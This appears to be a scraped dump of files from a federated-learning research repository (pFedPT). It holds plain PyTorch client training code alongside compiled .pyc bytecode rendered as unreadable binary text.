9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,633
fedoptimizer.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/optimizers/__pycache__/fedoptimizer.cpython-37.pyc
B À:ccüã@shddlZddlmZGdd„deƒZGdd„deƒZGdd„deƒZGd d „d eƒZGd d „d eƒZdS) éN)Ú Optimizercs&eZdZ‡fdd„Zddd„Z‡ZS)ÚPerAvgOptimizercs t|d�}tt|ƒ ||¡dS)N)Úlr)ÚdictÚsuperrÚ__init__)ÚselfÚparamsrÚdefaults)Ú __class__©úL/root/autodl-tmp/PFL-Non-IID-master/system/flcore/optimizers/fedoptimizer.pyrs zPerAvgOptimizer.__init__rcCslxf|jD]\}xV|dD]J}|jdkr&q|jj}|dkrJ|jj|| d�q|jj||d d�qWqWdS)Nr r)ÚotherÚalphar)Ú param_groupsÚgradÚdataÚadd_)rÚbetaÚgroupÚpÚd_pr r r Ústep s  zPerAvgOptimizer.step)r)Ú__name__Ú __module__Ú __qualname__rrÚ __classcell__r r )r r rs rcs&eZdZd‡fdd„ Zdd„Z‡ZS) Ú FEDLOptimizerç{®Gáz„?Nçš™™™™™¹?csD||_||_|dkr"td |¡ƒ‚t||d�}tt|ƒ ||¡dS)NgzInvalid learning rate: {})rÚeta)Ú server_gradsÚ pre_gradsÚ ValueErrorÚformatrrrr)rr rr!r"r r )r r r rs  zFEDLOptimizer.__init__c Cshxb|jD]X}d}xN|dD]B}|j |d |jj|d|j||j|¡|d7}qWqWdS)Nrr rr é)rrrrr!r")rrÚirr r r rs  (zFEDLOptimizer.step)rNNr)rrrrrrr r )r r rsrcs&eZdZd‡fdd„ Zdd„Z‡ZS) ÚpFedMeOptimizerç{®Gáz„?çš™™™™™¹?çü©ñÒMbP?cs:|dkrtd |¡ƒ‚t|||d�}tt|ƒ ||¡dS)NgzInvalid learning rate: {})rÚlamdaÚmu)r#r$rrr'r)rr rr+r,r )r r r r)szpFedMeOptimizer.__init__cCs„d}| ¡}xn|jD]d}x^t|d|ƒD]L\}}| |¡}|j|d|jj|d|j|j|d|j|_q(WqW|dS)Nr rr+r,)ÚcopyrÚzipÚtorr)rZ local_modelÚdevicerZ weight_updaterÚ localweightr r r r/s  BzpFedMeOptimizer.step)r(r)r*)rrrrrrr r )r r r'(sr'cs&eZdZ‡fdd„Zddd„Z‡ZS)Ú APFLOptimizercs t|d�}tt|ƒ ||¡dS)N)r)rrr2r)rr rr )r r r rZs zAPFLOptimizer.__init__r%cCsVxP|jD]F}x@|dD]4}|jdkr&q|||jj}|j |d |¡qWqWdS)Nr r)rrrr)rrÚn_krrrr r r r^s   zAPFLOptimizer.step)r%r%)rrrrrrr r )r r r2Ys r2cs.eZdZd‡fdd„ Ze ¡dd„ƒZ‡ZS)ÚPerturbedGradientDescentç{®Gáz„?çcs4|dkrtd|›�ƒ‚t||d�}tƒ ||¡dS)NgzInvalid learning rate: )rr,)r#rrr)rr rr,Údefault)r r r rhs z!PerturbedGradientDescent.__init__cCslxf|jD]\}xVt|d|ƒD]D\}}| |¡}|jj|d|j|j}|jj||d d�qWqWdS)Nr r,r)r)rr.r/rrr)rZ global_paramsr0rrÚgrr r r rps   zPerturbedGradientDescent.step)r5r6)rrrrÚtorchÚno_gradrrr r )r r r4gsr4)r9Z torch.optimrrrr'r2r4r r r r Ú<module>s  1
3,999
Python
.py
17
234.176471
747
0.346975
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,634
clientavg.py
hkgdifyu_pFedPT/system/flcore/clients/clientavg.py
import torch import torch.nn as nn import numpy as np import time from flcore.clients.clientbase import Client class clientAVG(Client): def __init__(self, args, id, train_samples, test_samples, **kwargs): super().__init__(args, id, train_samples, test_samples, **kwargs) self.loss = nn.CrossEntropyLoss() self.optimizer = torch.optim.SGD(self.model.parameters(), lr=self.learning_rate) # # differential privacy # if self.privacy: # check_dp(self.model) # initialize_dp(self.model, self.optimizer, self.sample_rate, self.dp_sigma) def train(self): trainloader = self.load_train_data() start_time = time.time() self.model.to(self.device) self.model.train() max_local_steps = self.local_steps if self.train_slow: max_local_steps = np.random.randint(1, max_local_steps // 2) for step in range(max_local_steps): for i, (x, y) in enumerate(trainloader): if type(x) == type([]): x[0] = x[0].to(self.device) else: x = x.to(self.device) y = y.to(self.device) if self.train_slow: time.sleep(0.1 * np.abs(np.random.rand())) self.optimizer.zero_grad() output = self.model(x) loss = self.loss(output, y) loss.backward() if self.privacy: dp_step(self.optimizer, i, len(trainloader)) else: self.optimizer.step() self.model.cpu() self.train_time_cost['num_rounds'] += 1 self.train_time_cost['total_cost'] += time.time() - start_time # if self.privacy: # res, DELTA = get_dp_params(self.optimizer) # print(f"Client {self.id}", f"(ε = {res[0]:.2f}, δ = {DELTA}) for α = {res[1]}")
1,962
Python
.py
45
31.866667
93
0.54878
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,635
clientbase.py
hkgdifyu_pFedPT/system/flcore/clients/clientbase.py
import copy import torch import torch.nn as nn import numpy as np import os import torch.nn.functional as F from torch.utils.data import DataLoader from sklearn.preprocessing import label_binarize from sklearn import metrics from utils.data_utils import read_client_data class Client(object): """ Base class for clients in federated learning. """ def __init__(self, args, id, train_samples, test_samples, **kwargs): self.model = copy.deepcopy(args.model) self.dataset = args.dataset self.device = args.device self.id = id # integer self.save_folder_name = args.save_folder_name self.args = args self.num_classes = args.num_classes self.train_samples = train_samples self.test_samples = test_samples self.batch_size = args.batch_size self.learning_rate = args.local_learning_rate self.local_steps = args.local_steps # check BatchNorm self.has_BatchNorm = False for layer in self.model.children(): if isinstance(layer, nn.BatchNorm2d): self.has_BatchNorm = True break self.train_slow = kwargs['train_slow'] self.send_slow = kwargs['send_slow'] self.train_time_cost = {'num_rounds': 0, 'total_cost': 0.0} self.send_time_cost = {'num_rounds': 0, 'total_cost': 0.0} self.privacy = args.privacy self.dp_sigma = args.dp_sigma self.sample_rate = self.batch_size / self.train_samples def load_train_data(self, batch_size=None): if batch_size == None: batch_size = self.batch_size train_data = read_client_data(self.dataset, self.id, self.args,is_train=True) return DataLoader(train_data, batch_size, drop_last=True, shuffle=True) def load_test_data(self, batch_size=None): if batch_size == None: batch_size = self.batch_size test_data = read_client_data(self.dataset, self.id, self.args,is_train=False) return DataLoader(test_data, batch_size, drop_last=False, shuffle=True) def set_parameters(self, model): for new_param, old_param in zip(model.parameters(), self.model.parameters()): old_param.data = new_param.data.clone() def clone_model(self, model, target): for param, target_param in zip(model.parameters(), target.parameters()): target_param.data = param.data.clone() # target_param.grad = param.grad.clone() def update_parameters(self, model, new_params): for param, new_param in zip(model.parameters(), new_params): param.data = new_param.data.clone() def test_metrics(self): testloaderfull = self.load_test_data() # self.model = self.load_model('model') self.model.to(self.device) self.model.eval() test_acc = 0 test_num = 0 y_prob = [] y_true = [] with torch.no_grad(): for x, y in testloaderfull: if type(x) == type([]): x[0] = x[0].to(self.device) else: x = x.to(self.device) y = y.to(self.device) output = self.model(x) test_acc += (torch.sum(torch.argmax(output, dim=1) == y)).item() test_num += y.shape[0] y_prob.append(output.detach().cpu().numpy()) y_true.append(label_binarize(y.detach().cpu().numpy(), classes=np.arange(self.num_classes))) self.model.cpu() # self.save_model(self.model, 'model') y_prob = np.concatenate(y_prob, axis=0) y_true = np.concatenate(y_true, axis=0) # print(y_prob) # print(y_true) auc = metrics.roc_auc_score(y_true, y_prob, average='micro') return test_acc, test_num, auc def train_metrics(self): trainloader = self.load_train_data() # self.model = self.load_model('model') self.model.to(self.device) self.model.eval() train_num = 0 loss = 0 for x, y in trainloader: if type(x) == type([]): x[0] = x[0].to(self.device) else: x = x.to(self.device) y = y.to(self.device) output = self.model(x) train_num += y.shape[0] loss += self.loss(output, y).item() * y.shape[0] self.model.cpu() # self.save_model(self.model, 'model') return loss, train_num # def get_next_train_batch(self): # try: # # Samples a new batch for persionalizing # (x, y) = next(self.iter_trainloader) # except StopIteration: # # restart the generator if the previous generator is exhausted. # self.iter_trainloader = iter(self.trainloader) # (x, y) = next(self.iter_trainloader) # if type(x) == type([]): # x = x[0] # x = x.to(self.device) # y = y.to(self.device) # return x, y def save_item(self, item, item_name, item_path=None): if item_path == None: item_path = self.save_folder_name if not os.path.exists(item_path): os.makedirs(item_path) torch.save(item, os.path.join(item_path, "client_" + str(self.id) + "_" + item_name + ".pt")) def load_item(self, item_name, item_path=None): if item_path == None: item_path = self.save_folder_name return torch.load(os.path.join(item_path, "client_" + str(self.id) + "_" + item_name + ".pt")) # @staticmethod # def model_exists(): # return os.path.exists(os.path.join("models", "server" + ".pt"))
5,736
Python
.py
134
33.514925
108
0.585181
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,636
clientpt.py
hkgdifyu_pFedPT/system/flcore/clients/clientpt.py
import torch import torch.nn as nn import numpy as np import time from flcore.clients.clientbase import Client import copy from sklearn.preprocessing import label_binarize from sklearn import metrics # from utils.privacy import * class clientPT(Client): def __init__(self, args, id, train_samples, test_samples, **kwargs): super().__init__(args, id, train_samples, test_samples, **kwargs) self.loss = nn.CrossEntropyLoss() self.optimizer = torch.optim.SGD(self.model.base.parameters(), lr=self.learning_rate) self.plocal_steps = args.plocal_steps self.poptimizer = torch.optim.SGD(self.model.generator.parameters(), lr=args.pt_learning_rate, momentum=args.momentum) self.scheduler = torch.optim.lr_scheduler.StepLR(self.poptimizer, step_size=self.plocal_steps, gamma=args.learning_decay) def train(self): trainloader = self.load_train_data() start_time = time.time() old_prompt = copy.deepcopy(self.model.generator) self.model.to(self.device) self.model.train() for param in self.model.base.parameters(): param.requires_grad = False for param in self.model.generator.parameters(): param.requires_grad = True for step in range(self.plocal_steps): for i, (x, y) in enumerate(trainloader): if type(x) == type([]): x[0] = x[0].to(self.device) else: x = x.to(self.device) y = y.to(self.device) if self.train_slow: time.sleep(0.1 * np.abs(np.random.rand())) self.poptimizer.zero_grad() output = self.model(x) loss = self.loss(output, y) loss.backward() self.poptimizer.step() self.scheduler.step() max_local_steps = self.local_steps if self.train_slow: max_local_steps = np.random.randint(1, max_local_steps // 2) for param in self.model.base.parameters(): param.requires_grad = True for param in self.model.generator.parameters(): param.requires_grad = False for step in range(max_local_steps): for i, (x, y) in enumerate(trainloader): if type(x) == type([]): x[0] = x[0].to(self.device) else: x = x.to(self.device) y = y.to(self.device) if self.train_slow: time.sleep(0.1 * np.abs(np.random.rand())) self.optimizer.zero_grad() output = self.model(x) loss = self.loss(output, y) loss.backward() self.optimizer.step() self.model.cpu() new_prompt = copy.deepcopy(self.model.generator) diff_provalue = 0 for new_param, old_param in zip(old_prompt.parameters(), new_prompt.parameters()): diff_pro = new_param - old_param diff_pro = torch.where(diff_pro > 0, diff_pro, torch.zeros_like(diff_pro)-diff_pro) diff_provalue = diff_provalue + torch.sum(diff_pro) self.train_time_cost['num_rounds'] += 1 self.train_time_cost['total_cost'] += time.time() - start_time return diff_provalue def set_parameters(self, base): for new_param, old_param in zip(base.parameters(), self.model.base.parameters()): old_param.data = new_param.data.clone() def test_metrics(self): testloaderfull = self.load_test_data() # self.model = self.load_model('model') self.model.to(self.device) self.model.eval() test_acc = 0 test_acc2 = 0 test_num = 0 y_prob = [] y_true = [] with torch.no_grad(): for x, y in testloaderfull: if type(x) == type([]): x[0] = x[0].to(self.device) else: x = x.to(self.device) y = y.to(self.device) output = self.model(x) output2 = self.model.base(x) test_acc += (torch.sum(torch.argmax(output, dim=1) == y)).item() test_acc2 += (torch.sum(torch.argmax(output2, dim=1) == y)).item() test_num += y.shape[0] y_prob.append(output.detach().cpu().numpy()) y_true.append(label_binarize(y.detach().cpu().numpy(), classes=np.arange(self.num_classes))) self.model.cpu() # self.save_model(self.model, 'model') y_prob = np.concatenate(y_prob, axis=0) y_true = np.concatenate(y_true, axis=0) auc = metrics.roc_auc_score(y_true, y_prob, average='micro') return test_acc, test_acc2, test_num, auc
4,929
Python
.py
108
33.018519
108
0.554559
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,637
clientamp.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientamp.cpython-38.pyc
U ”jfc ã@sTddlZddlmZddlmZddlZddlZddlZGdd„deƒZ dd„Z dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientAMPc s\tƒj||||f|�|j|_|j|_t |j¡|_t  ¡|_ t j j |j ¡|jd�|_dS)N)Úlr)ÚsuperÚ__init__ÚalphaKÚlamdaÚcopyÚdeepcopyÚmodelÚclient_uÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚ parametersÚ learning_rateÚ optimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©õKD:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientamp.pyr s  zclientAMP.__init__c Cs‚| ¡}t ¡}|j |j¡|j |j¡|j ¡|j}|jrTt j   d|d¡}t |ƒD]Ş}|D]Ô\}}t |ƒt gƒkr’|d |j¡|d<n | |j¡}| |j¡}|jrÊt dt  t j  ¡¡¡|j ¡| |¡}| ||¡}t|jƒ} t|jƒ} | | } ||j|jdt | | ¡7}| ¡|j ¡qdq\|j ¡|j ¡~|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtoÚdevicer ÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚsleepÚabsÚrandrÚ zero_gradrÚweight_flattenrrrÚdotÚbackwardÚstepÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr7ÚxÚyÚoutputrÚparamsZparams_Úsubrrrr(s<             zclientAMP.traincCs8t| ¡|j ¡ƒD]\}}|j||j ¡|_qdS)N)Úziprr ÚdataÚclone)rr Ú coef_selfÚ new_paramÚ old_paramrrrÚset_parameters?szclientAMP.set_parameters)Ú__name__Ú __module__Ú __qualname__rr(rHÚ __classcell__rrrrr s +rcCs0g}| ¡D]}| | d¡¡q t |¡}|S)Néÿÿÿÿ)rÚappendÚviewrÚcat)r r@Úurrrr4Ds   r4) rÚtorch.nnr Úflcore.clients.clientbaserÚnumpyr+r%r rr4rrrrÚ<module>s  ;
2,270
Python
.py
26
86.115385
269
0.429844
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,638
clientdyn.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientdyn.cpython-38.pyc
U ”jfc ã@sTddlZddlZddlmZddlZddlZddlmZGdd„deƒZ dd„Z dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientDync sltƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ |j |_ d|_ t |j¡}t|ƒ}t |¡|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚalphaÚglobal_model_vectorÚcopyÚdeepcopyÚmodel_parameter_vectorÚ zeros_likeÚold_grad)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargsr©Ú __class__©õKD:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientdyn.pyr s  zclientDyn.__init__c Csæ| ¡}t ¡}|j |j¡|j |j¡|_|j |j¡|_|j ¡|j}|j rft j   d|d¡}t |ƒD]ò}t|ƒD]ä\}\}}t|ƒtgƒkr¬|d |j¡|d<n | |j¡}| |j¡}|j rät dt  t j  ¡¡¡|j ¡| |¡}| ||¡} |jdk�rLt|jƒ} | |jdt | |jd¡7} | t | |j¡8} |  ¡|j ¡qzqn|jdk�r”t|jƒ ¡} |j|j| |j|_|j ¡|j ¡|_|j ¡|_|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost) Úload_train_dataÚtimer ÚtoÚdevicerrÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr rrr ÚnormÚdotÚbackwardÚstepÚdetachÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr:ÚiÚxÚyÚoutputr Úv1r r r!r*sD              zclientDyn.traincCs@t| ¡|j ¡ƒD]\}}|j ¡|_qt|ƒ ¡ ¡|_dS)N)Úziprr ÚdataÚclonerr;r)rr Ú new_paramÚ old_paramr r r!Úset_parametersOszclientDyn.set_parameters)Ú__name__Ú __module__Ú __qualname__rr*rKÚ __classcell__r r rr!r s 1rcCs dd„| ¡Dƒ}tj|dd�S)NcSsg|]}| d¡‘qS)éÿÿÿÿ)Úview)Ú.0Úpr r r!Ú <listcomp>Wsz*model_parameter_vector.<locals>.<listcomp>r)Údim)rr Úcat)r Úparamr r r!rVsr) rr Útorch.nnrÚnumpyr-r'Úflcore.clients.clientbaserrrr r r r!Ú<module>s  L
2,595
Python
.py
30
85.433333
285
0.424006
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,639
clientmoon.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientmoon.cpython-39.pyc
a ç`cE ã@s^ddlZddlZddlmZddlZddlZddlmmZ ddl m Z Gdd„de ƒZ dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientMOONc sftƒj||||fi|¤�t ¡|_tjj|j  ¡|j d�|_ |j |_ |j |_ d|_t |j¡|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚtauÚmuÚ global_modelÚcopyÚdeepcopyÚ old_model)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©ús/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientmoon.pyr s zclientMOON.__init__c CsÜ| ¡}t ¡}|j ¡|j}|jr8tj d|d¡}t |ƒD�]Z}t |ƒD�]J\}\}}t |ƒt gƒkr‚|d  |j ¡|d<n |  |j ¡}|  |j ¡}|jrºt dt tj ¡¡¡|j ¡|j |¡}|j |¡} | | |¡} |j |¡ ¡} |j |¡ ¡} t t t || ¡|j¡t t || ¡|j¡t t || ¡|j¡¡ } | |jt  | ¡7} |  !¡|j"�r�t#|j|t$|ƒƒqN|j %¡qNq@t& '|j¡|_|j(dd7<|j(dt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost))Úload_train_dataÚtimer ÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚtoÚdeviceÚsleepÚabsÚrandrÚ zero_gradÚbaseÚ predictorr rÚdetachrr ÚlogÚexpÚFÚcosine_similarityrrÚmeanÚbackwardÚprivacyÚdp_stepÚlenÚsteprrÚtrain_time_cost)rÚ trainloaderÚ start_timeÚmax_local_stepsrBÚiÚxÚyÚrepÚoutputr Zrep_oldZ rep_globalZloss_conrrr r's:       PzclientMOON.traincCs4t| ¡|j ¡ƒD]\}}|j ¡|_q||_dS)N)Úziprr ÚdataÚcloner)rr Ú new_paramÚ old_paramrrr Úset_parametersKszclientMOON.set_parameters)Ú__name__Ú __module__Ú __qualname__rr'rQÚ __classcell__rrrr r s .r) rr Útorch.nnrÚnumpyr*r&Útorch.nn.functionalÚ functionalr;Úflcore.clients.clientbaserrrrrr Ú<module>s  
2,382
Python
.py
23
102.478261
291
0.458475
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,640
clientmtl.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientmtl.cpython-38.pyc
U ”jfcª ã@s\ddlZddlmZddlmZddlZddlZddlZddl Z Gdd„deƒZ dd„Z dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientMTLc s`tƒj||||f|�d|_d|_d|_|j|_d|_t ¡|_ t j j |j  ¡|jdd�|_dS)Nrg-Cëâ6?gà?)ÚlrÚmomentum)ÚsuperÚ__init__ÚomegaÚW_globÚidxZitkZlambaÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©õKD:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientmtl.pyr s zclientMTL.__init__c CsÂ| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}t |ƒD�]*}|D�]\}}t |ƒt gƒkrˆ|d |j¡|d<n | |j¡}| |j¡}|jrÀt  dt tj  ¡¡¡|j ¡| |¡}| ||¡}t|jƒ|jdd…|jf<d} | |j ¡d7} | t t |j|jd¡d¡7} tt |jjd¡dƒd} | d| 9} || 7}| ¡|j ¡qXqN|j  ¡d|_d|_|j!dd7<|j!dt ¡|7<dS)Néérgš™™™™™¹?é Ú num_roundsÚ total_cost)"Úload_train_dataÚtimerÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚsleepÚabsÚrandrÚ zero_gradr Úflattenr r ÚnormrÚsumrÚintÚmathÚlog10ÚshapeÚbackwardÚstepÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr<ÚxÚyÚoutputr Zloss_regularizerÚfrrrr(s@      " zclientMTL.traincCs*t |dd¡|_t |¡|_||_dS)Nr)rÚsqrtrÚcopyÚdeepcopyr r )rr rr rrrÚreceive_valuesHs zclientMTL.receive_values)Ú__name__Ú __module__Ú __qualname__rr(rIÚ __classcell__rrrrr s 1rcs,| ¡‰ˆ ¡}‡fdd„|Dƒ}t |¡S)Ncsg|]}ˆ| ¡‘qSr)r4)Ú.0Úkey©Ú state_dictrrÚ <listcomp>Qszflatten.<locals>.<listcomp>)rQÚkeysrÚcat)rrSÚWrrPrr4Nsr4) rÚtorch.nnr Úflcore.clients.clientbaserÚnumpyr+r%r8rGrr4rrrrÚ<module>s  D
2,533
Python
.py
26
96.269231
278
0.419856
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,641
clientrodpt.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientrodpt.cpython-38.pyc
U Åìıcû!ã@s ddlZddlZddlmZddlZddlZddlmZddl mm Z ddl m Z ddlmZddlZddl m Z ddlmZGdd„deƒZd dd „ZdS) éN)ÚClient)Úlabel_binarize)Úmetricscs>eZdZ‡fdd„Zdd„Zd dd„Zdd „Zd d„Z‡ZS) Ú clientRODPTc  stƒj||||f|�t ¡|_tj |jj   ¡|j dœ|jj   ¡|j dœg¡|_ |j|_tjj|jj  ¡|j|jd�|_tjjj|j|j|jd�|_t |jj ¡|_tjj|j  ¡|j d�|_t |j¡|_| ¡}|D](\}}|D]} |j|  ¡d7<qæqÚdS)N)ÚparamsÚlr)rÚmomentum)Ú step_sizeÚgamma)ré) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ parametersÚ learning_rateÚ predictorÚ optimizerÚ plocal_stepsÚ generatorÚpt_learning_raterÚ poptimizerÚ lr_schedulerÚStepLRÚlearning_decayÚ schedulerÚcopyÚdeepcopyÚpredÚopt_predÚzerosÚ num_classesÚsample_per_classÚload_train_dataÚitem) ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargsÚ trainloaderÚxÚyÚyy©Ú __class__©õYD:\京东\promot\第二次投稿\å®�验\native - pro\system\flcore\clients\clientrodpt.pyr s( şÿÿ zclientRODPT.__init__c CsR| ¡}t ¡}t |jj¡}|j |j¡|j |j¡|j  ¡|jj   ¡D] }d|_ qP|jj  ¡D] }d|_ qh|jj   ¡D] }d|_ q€t|jƒD]¶}t|ƒD]¨\}\}}t|ƒtgƒkrÔ|d |j¡|d<n | |j¡}| |j¡}|j�rt dt tj ¡¡¡|j ¡| |¡} | | |¡} |  ¡|j ¡|j ¡q¢q–|j} |j�rntj d| d¡} |jj   ¡D] }d|_ �qz|jj  ¡D] }d|_ �q”|jj   ¡D] }d|_ �q®t| ƒD]æ}t|ƒD]Ö\}\}}t|ƒtgƒk�r|d |j¡|d<n | |j¡}| |j¡}|j  |j |¡¡} |j  | ¡} t || |j!ƒ}|j" ¡| ¡|j" ¡| |  #¡¡}| |  #¡||¡} |j$ ¡|  ¡|j$ ¡�qĞ�qÄ|j %¡|j %¡t |jj¡}d}t&|  ¡|  ¡ƒD]<\}}||}t' (|dk|t' )|¡|¡}|t' *|¡}�qä|j+dd7<|j+dt ¡|7<|S) NFTrgš™™™™™¹?r éÚ num_roundsÚ total_cost),r)Útimer"r#rrÚtoÚdevicer$ÚtrainrrÚ requires_gradrÚrangerÚ enumerateÚtypeÚ train_slowÚsleepÚnpÚabsÚrandomÚrandrÚ zero_gradrÚbackwardÚstepr!Ú local_stepsÚrandintÚbalanced_softmax_lossr(rÚdetachr%ÚcpuÚziprÚwhereÚ zeros_likeÚsumÚtrain_time_cost)r+r1Ú start_timeÚ old_promptÚparamrLÚir2r3ÚoutputrÚmax_local_stepsÚrepÚout_gÚloss_bsmÚout_pÚ new_promptÚ diff_provalueÚ new_paramÚ old_paramÚdiff_pror7r7r8r?(s~                   zclientRODPT.trainNc CsŞ| ¡}|dkr|j}|j |j¡|j |j¡| ¡d}d}g}g}t ¡��:|D�],\}}t|ƒtgƒkrŠ|d |j¡|d<n | |j¡}| |j¡}|j  |j  |¡¡} |j  | ¡} | |   ¡¡} |   ¡| } |t  tj| dd�|k¡ ¡7}||jd7}| t | ¡  ¡ ¡ ¡¡|j} |jdk�r@| d7} t|  ¡ ¡ ¡t | ¡d�}|jdk�r~|dd…dd…f}| |¡qZW5QRX|j ¡|j ¡tj|dd�}tj|dd�}tj||dd�}|||fS) Nrr ©Údimr9©Úclasses©ÚaxisÚmicro©Úaverage)Úload_test_datarr=r>r$ÚevalrÚno_gradrCrrrrPrUÚargmaxr*ÚshapeÚappendÚFÚsoftmaxrQÚnumpyr'rrFÚarangeÚ concatenaterÚ roc_auc_score)r+rÚ testloaderÚtest_accÚtest_numÚy_probÚy_truer2r3r]r^r`r[ÚncÚlbÚaucr7r7r8Ú test_metricstsH          zclientRODPT.test_metricscCs`t|j ¡|jj ¡ƒD]\}}|j ¡|_qt|j ¡|jj ¡ƒD]\}}|j ¡|_qFdS)N)rRrrrÚdataÚcloner)r+rrcrdr7r7r8Úset_parameters s  zclientRODPT.set_parametersc Cs~| ¡}|j |j¡|j ¡d}d}d}g}g}t ¡�ú|D]î\}}t|ƒtgƒkrp|d |j¡|d<n | |j¡}| |j¡}| |¡} |j |j  |¡¡} |t  tj | dd�|k¡  ¡7}|t  tj | dd�|k¡  ¡7}||j d7}| |  ¡ ¡ ¡¡| t| ¡ ¡ ¡t |j¡d�¡qBW5QRX|j ¡tj|dd�}tj|dd�}tj||dd�} |||| fS)Nrr rfrhrjrlrm)rorr=r>rprrqrCrrrUrrr*rsrtrPrQrwrrFrxr'ryrrz) r+Útestloaderfullr|Ú test_acc2r}r~rr2r3r[Úoutput2r‚r7r7r8rƒ¦s4        2 )N)Ú__name__Ú __module__Ú __qualname__r r?rƒr†Ú __classcell__r7r7r5r8rs  L ,rÚmeancCsB| |¡}| d¡ |jdd¡}|| ¡}tj|||d�}|S)a}Compute the Balanced Softmax Loss between `logits` and the ground truth `labels`. Args: labels: A int tensor of size [batch]. logits: A float tensor of size [batch, no_of_classes]. sample_per_class: A int tensor of size [no of classes]. reduction: string. One of "none", "mean", "sum" Returns: loss: A float tensor. Balanced Softmax Loss. réÿÿÿÿ)ÚinputÚtargetÚ reduction)Útype_asÚ unsqueezeÚexpandrsÚlogruÚ cross_entropy)ÚlabelsÚlogitsr(r’Úspcrr7r7r8rOÍs  rO)r�)r"rÚtorch.nnrrwrFr<Úflcore.clients.clientbaserÚtorch.nn.functionalÚ functionalruÚsklearn.preprocessingrÚsklearnrrrOr7r7r7r8Ú<module>s      @
5,970
Python
.py
71
82.211268
539
0.404645
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,642
clientbn.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbn.cpython-39.pyc
